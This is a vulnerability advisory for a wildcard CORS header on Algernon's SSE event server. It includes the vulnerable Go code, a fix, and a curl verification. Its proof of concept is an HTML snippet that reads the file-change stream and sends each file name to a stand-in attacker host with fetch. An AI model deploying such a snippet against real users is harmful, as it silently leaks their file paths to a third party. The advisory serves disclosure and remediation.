CVE-2026-46431
Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *
Description
### Summary The SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream. This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either. ### Details #### Root cause — hard-coded `"*"` passed as the CORS allowed-origin ```go // engine/config.go (1.17.6, MustServe) recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration) ``` The literal `"*"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header: ```go // vendor/github.com/xyproto/recwatch/eventserver.go:100-108 (1.17.6) func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc { return func(w http.ResponseWriter, _ *http.Request) { w.Header().Set("Content-Type", "text/event-stream;charset=utf-8") w.Header().Set("Cache-Control", "no-cache") w.Header().Set("Connection", "keep-alive") w.Header().Set("Access-Control-Allow-Origin", allowed) ... } } ``` There is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved. #### Why the wildcard is exploitable `EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event. So a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently: ```html <!doctype html> <script> const s = new EventSource('http://127.0.0.1:5553/sse'); s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data)); </script> ``` The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which `UI:R` in the CVSS vector reflects. ### PoC (against 1.17.6) ```bash # 1. Operator: algernon -a /path/to/project on Windows; SSE at localhost:5553 # 2. Attacker lures the developer to https://news.example: # The page contains the snippet above. # 3. EventSource opens, browser sends the request; algernon responds with # Access-Control-Allow-Origin: *, browser passes message events to the # cross-origin script; script ships filenames to attacker.example. ``` CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body. ### Impact - **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened. - **Integrity:** none. - **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser). ### Suggestions to fix **Primary fix — echo a same-origin allow-list instead of `*`.** ```go // vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents origin := r.Header.Get("Origin") if !isAllowedOrigin(origin) { http.Error(w, "forbidden", http.StatusForbidden) return } w.Header().Set("Access-Control-Allow-Origin", origin) w.Header().Set("Vary", "Origin") ``` The `allowed` parameter must change from `"*"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + "://" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin. **Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface. ### Live verification ``` $ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site $ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt & sleep 1 echo "trigger" >> poc2/site/probe.txt wait ) $ cat sse.txt HTTP/1.1 200 OK Access-Control-Allow-Origin: * Cache-Control: no-cache Connection: keep-alive Content-Type: text/event-stream;charset=utf-8 ... id: 0 data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt ``` The `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as "any origin may read"). A cross-origin tab at any URL can run `new EventSource("http://<algernon>:5553/sse")` and read the stream.